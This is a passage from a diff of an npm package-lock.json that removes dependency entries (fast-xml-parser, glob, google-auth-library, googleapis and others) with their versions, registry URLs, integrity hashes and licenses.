- "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/fast-wrap-ansi": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/fast-wrap-ansi/-/fast-wrap-ansi-0.2.0.tgz", - "integrity": "sha512-rLV8JHxTyhVmFYhBJuMujcrHqOT2cnO5Zxj37qROj23CP39GXubJRBUFF0z8KFK77Uc0SukZUf7JZhsVEQ6n8w==", - "license": "MIT", - "dependencies": { - "fast-string-width": "^3.0.2" - } - }, - "node_modules/fast-xml-builder": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.2.0.tgz", - "integrity": "sha512-00aAWieqff+ZJhsXA4g1g7M8k+7AYoMUUHF+/zFb5U6Uv/P0Vl4QZo84/IcufzYalLuEj9928bXN9PbbFzMF0Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "path-expression-matcher": "^1.5.0", - "xml-naming": "^0.1.0" - } - }, - "node_modules/fast-xml-parser": { - "version": "5.7.2", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.7.2.tgz", - "integrity": "sha512-P7oW7tLbYnhOLQk/Gv7cZgzgMPP/XN03K02/Jy6Y/NHzyIAIpxuZIM/YqAkfiXFPxA2CTm7NtCijK9EDu09u2w==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "@nodable/entities": "^2.1.0", - "fast-xml-builder": "^1.1.5", - "path-expression-matcher": "^1.5.0", - "strnum": "^2.2.3" - }, - "bin": { - "fxparser": "src/cli/cli.js" - } - }, - "node_modules/fastq": { - "version": "1.20.1", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", - "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", - "dev": true, - "license": "ISC", - "dependencies": { - "reusify": "^1.0.4" - } - }, - "node_modules/fd-slicer": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", - "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", - "license": "MIT", - "dependencies": { - "pend": "~1.2.0" - } - }, - "node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/fetch-blob": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", - "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/jimmywarting" - }, - { - "type": "paypal", - "url": "https://paypal.me/jimmywarting" - } - ], - "license": "MIT", - "dependencies": { - "node-domexception": "^1.0.0", - "web-streams-polyfill": "^3.0.3" - }, - "engines": { - "node": "^12.20 || >= 14.13" - } - }, - "node_modules/figures": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/figures/-/figures-6.1.0.tgz", - "integrity": "sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg==", - "license": "MIT", - "dependencies": { - "is-unicode-supported": "^2.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/file-type": { - "version": "21.3.4", - "resolved": "https://registry.npmjs.org/file-type/-/file-type-21.3.4.tgz", - "integrity": "sha512-Ievi/yy8DS3ygGvT47PjSfdFoX+2isQueoYP1cntFW1JLYAuS4GD7NUPGg4zv2iZfV52uDyk5w5Z0TdpRS6Q1g==", - "license": "MIT", - "dependencies": { - "@tokenizer/inflate": "^0.4.1", - "strtok3": "^10.3.4", - "token-types": "^6.1.1", - "uint8array-extras": "^1.4.0" - }, - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/sindresorhus/file-type?sponsor=1" - } - }, - "node_modules/filing-cabinet": { - "version": "5.5.1", - "resolved": "https://registry.npmjs.org/filing-cabinet/-/filing-cabinet-5.5.1.tgz", - "integrity": "sha512-PzLBTChlVPn6LnNxF0KWs+XqPziVh3Sfmz/3TXOymHxu6a9yhrDcQn7YwgpcRM6mqhR2WHVGPR8RU4fmcF1IVA==", - "dev": true, - "license": "MIT", - "dependencies": { - "app-module-path": "^2.2.0", - "commander": "^12.1.0", - "enhanced-resolve": "^5.21.0", - "module-definition": "^6.0.2", - "module-lookup-amd": "^9.1.3", - "resolve": "^1.22.12", - "resolve-dependency-path": "^4.0.1", - "sass-lookup": "^6.1.2", - "stylus-lookup": "^6.1.2", - "tsconfig-paths": "^4.2.0", - "typescript": "^5.9.3" - }, - "bin": { - "filing-cabinet": "bin/cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/filing-cabinet/node_modules/commander": { - "version": "12.1.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", - "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/filing-cabinet/node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/fill-range": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", - "dev": true, - "license": "MIT", - "dependencies": { - "to-regex-range": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/finalhandler": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", - "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", - "license": "MIT", - "dependencies": { - "debug": "^4.4.0", - "encodeurl": "^2.0.0", - "escape-html": "^1.0.3", - "on-finished": "^2.4.1", - "parseurl": "^1.3.3", - "statuses": "^2.0.1" - }, - "engines": { - "node": ">= 18.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/find-up-simple": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/find-up-simple/-/find-up-simple-1.0.1.tgz", - "integrity": "sha512-afd4O7zpqHeRyg4PfDQsXmlDe2PfdHtJt6Akt8jOWaApLOZk5JXs6VMR29lz03pRe9mpykrRCYIYxaJYcfpncQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/foreground-child": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", - "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", - "license": "ISC", - "dependencies": { - "cross-spawn": "^7.0.6", - "signal-exit": "^4.0.1" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/foreground-child/node_modules/signal-exit": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", - "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", - "license": "ISC", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/form-data": { - "version": "2.5.5", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.5.tgz", - "integrity": "sha512-jqdObeR2rxZZbPSGL+3VckHMYtu+f9//KXBsVny6JSX/pa38Fy+bGjuG8eW/H6USNQWhLi8Num++cU2yOCNz4A==", - "license": "MIT", - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "es-set-tostringtag": "^2.1.0", - "hasown": "^2.0.2", - "mime-types": "^2.1.35", - "safe-buffer": "^5.2.1" - }, - "engines": { - "node": ">= 0.12" - } - }, - "node_modules/form-data/node_modules/mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/form-data/node_modules/mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "license": "MIT", - "dependencies": { - "mime-db": "1.52.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/formdata-polyfill": { - "version": "4.0.10", - "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", - "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", - "license": "MIT", - "dependencies": { - "fetch-blob": "^3.1.2" - }, - "engines": { - "node": ">=12.20.0" - } - }, - "node_modules/forwarded": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/forwarded-parse": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/forwarded-parse/-/forwarded-parse-2.1.2.tgz", - "integrity": "sha512-alTFZZQDKMporBH77856pXgzhEzaUVmLCDk+egLgIgHst3Tpndzz8MnKe+GzRJRfvVdn69HhpW7cmXzvtLvJAw==", - "license": "MIT" - }, - "node_modules/fresh": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", - "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/fs-extra": { - "version": "11.3.5", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.5.tgz", - "integrity": "sha512-eKpRKAovdpZtR1WopLHxlBWvAgPny3c4gX1G5Jhwmmw4XJj0ifSD5qB5TOo8hmA0wlRKDAOAhEE1yVPgs6Fgcg==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - }, - "engines": { - "node": ">=14.14" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/fzf": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/fzf/-/fzf-0.5.2.tgz", - "integrity": "sha512-Tt4kuxLXFKHy8KT40zwsUPUkg1CrsgY25FxA2U/j/0WgEDCk3ddc/zLTCCcbSHX9FcKtLuVaDGtGE/STWC+j3Q==", - "license": "BSD-3-Clause" - }, - "node_modules/gaxios": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.4.tgz", - "integrity": "sha512-bTIgTsM2bWn3XklZISBTQX7ZSddGW+IO3bMdGaemHZ3tbqExMENHLx6kKZ/KlejgrMtj8q7wBItt51yegqalrA==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "node-fetch": "^3.3.2" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/gcp-metadata": { - "version": "8.1.2", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz", - "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^7.0.0", - "google-logging-utils": "^1.0.0", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/get-amd-module-type": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/get-amd-module-type/-/get-amd-module-type-6.0.2.tgz", - "integrity": "sha512-7zShVYAYtMnj9S65CfN+hvpBCByfuB1OY8xID01nZEzXTZbx4YyysAfi+nMl95JSR6odt4q8TCj2W63KAoyVLQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ast-module-types": "^6.0.1", - "node-source-walk": "^7.0.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/get-caller-file": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "license": "ISC", - "engines": { - "node": "6.* || 8.* || >= 10.*" - } - }, - "node_modules/get-east-asian-width": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.6.0.tgz", - "integrity": "sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/get-intrinsic": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.1.1", - "function-bind": "^1.1.2", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "has-symbols": "^1.1.0", - "hasown": "^2.0.2", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-own-enumerable-property-symbols": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", - "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==", - "dev": true, - "license": "ISC" - }, - "node_modules/get-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/get-stream": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", - "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", - "license": "MIT", - "dependencies": { - "pump": "^3.0.0" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/get-uri": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-8.0.0.tgz", - "integrity": "sha512-CqtZlMKvfJeY0Zxv8wazDwXmSKmnMnsmNy8j8+wudi8EyG/pMUB1NqHc+Tv1QaNtpYsK9nOYjb7r7Ufu32RPSw==", - "license": "MIT", - "dependencies": { - "basic-ftp": "^5.2.0", - "data-uri-to-buffer": "8.0.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/get-uri/node_modules/data-uri-to-buffer": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-8.0.0.tgz", - "integrity": "sha512-6UHfyCux51b8PTGDgveqtz1tvphBku5DrMKKJbFAZAJOI2zsjDpDoYE1+QGj7FOMS4BdTFNJsJiR3zEB0xH0yQ==", - "license": "MIT", - "engines": { - "node": ">= 20" - } - }, - "node_modules/glob": { - "version": "12.0.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-12.0.0.tgz", - "integrity": "sha512-5Qcll1z7IKgHr5g485ePDdHcNQY0k2dtv/bjYy0iuyGxQw2qSOiiXUXJ+AYQpg3HNoUMHqAruX478Jeev7UULw==", - "license": "BlueOak-1.0.0", - "dependencies": { - "foreground-child": "^3.3.1", - "jackspeak": "^4.1.1", - "minimatch": "^10.1.1", - "minipass": "^7.1.2", - "package-json-from-dist": "^1.0.0", - "path-scurry": "^2.0.0" - }, - "bin": { - "glob": "dist/esm/bin.mjs" - }, - "engines": { - "node": "20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/gonzales-pe": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/gonzales-pe/-/gonzales-pe-4.3.0.tgz", - "integrity": "sha512-otgSPpUmdWJ43VXyiNgEYE4luzHCL2pz4wQ0OnDluC6Eg4Ko3Vexy/SrSynglw/eR+OhkzmqFCZa/OFa/RgAOQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "minimist": "^1.2.5" - }, - "bin": { - "gonzales": "bin/gonzales.js" - }, - "engines": { - "node": ">=0.6.0" - } - }, - "node_modules/google-auth-library": { - "version": "10.6.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.1.tgz", - "integrity": "sha512-5awwuLrzNol+pFDmKJd0dKtZ0fPLAtoA5p7YO4ODsDu6ONJUVqbYwvv8y2ZBO5MBNp9TJXigB19710kYpBPdtA==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "7.1.3", - "gcp-metadata": "8.1.2", - "google-logging-utils": "1.1.3", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/google-auth-library/node_modules/gaxios": { - "version": "7.1.3", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.3.tgz", - "integrity": "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "node-fetch": "^3.3.2", - "rimraf": "^5.0.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/google-gax": { - "version": "4.6.1", - "resolved": "https://registry.npmjs.org/google-gax/-/google-gax-4.6.1.tgz", - "integrity": "sha512-V6eky/xz2mcKfAd1Ioxyd6nmA61gao3n01C+YeuIwu3vzM9EDR6wcVzMSIbLMDXWeoi9SHYctXuKYC5uJUT3eQ==", - "license": "Apache-2.0", - "dependencies": { - "@grpc/grpc-js": "^1.10.9", - "@grpc/proto-loader": "^0.7.13", - "@types/long": "^4.0.0", - "abort-controller": "^3.0.0", - "duplexify": "^4.0.0", - "google-auth-library": "^9.3.0", - "node-fetch": "^2.7.0", - "object-hash": "^3.0.0", - "proto3-json-serializer": "^2.0.2", - "protobufjs": "^7.3.2", - "retry-request": "^7.0.0", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/google-gax/node_modules/@grpc/proto-loader": { - "version": "0.7.15", - "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.7.15.tgz", - "integrity": "sha512-tMXdRCfYVixjuFK+Hk0Q1s38gV9zDiDJfWL3h1rv4Qc39oILCu1TRTDt7+fGUI8K4G1Fj125Hx/ru3azECWTyQ==", - "license": "Apache-2.0", - "dependencies": { - "lodash.camelcase": "^4.3.0", - "long": "^5.0.0", - "protobufjs": "^7.2.5", - "yargs": "^17.7.2" - }, - "bin": { - "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/google-gax/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/google-gax/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/google-gax/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/google-gax/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/google-gax/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/google-logging-utils": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", - "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/googleapis": { - "version": "137.1.0", - "resolved": "https://registry.npmjs.org/googleapis/-/googleapis-137.1.0.tgz", - "integrity": "sha512-2L7SzN0FLHyQtFmyIxrcXhgust77067pkkduqkbIpDuj9JzVnByxsRrcRfUMFQam3rQkWW2B0f1i40IwKDWIVQ==", - "license": "Apache-2.0", - "dependencies": { - "google-auth-library": "^9.0.0", - "googleapis-common": "^7.0.0" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/googleapis-common": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/googleapis-common/-/googleapis-common-7.2.0.tgz", - "integrity": "sha512-/fhDZEJZvOV3X5jmD+fKxMqma5q2Q9nZNSF3kn1F18tpxmA86BcTxAGBQdM0N89Z3bEaIs+HVznSmFJEAmMTjA==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "gaxios": "^6.0.3", - "google-auth-library": "^9.7.0", - "qs": "^6.7.0", - "url-template": "^2.0.8", - "uuid": "^9.0.0" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/googleapis-common/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/googleapis-common/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/googleapis-common/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": 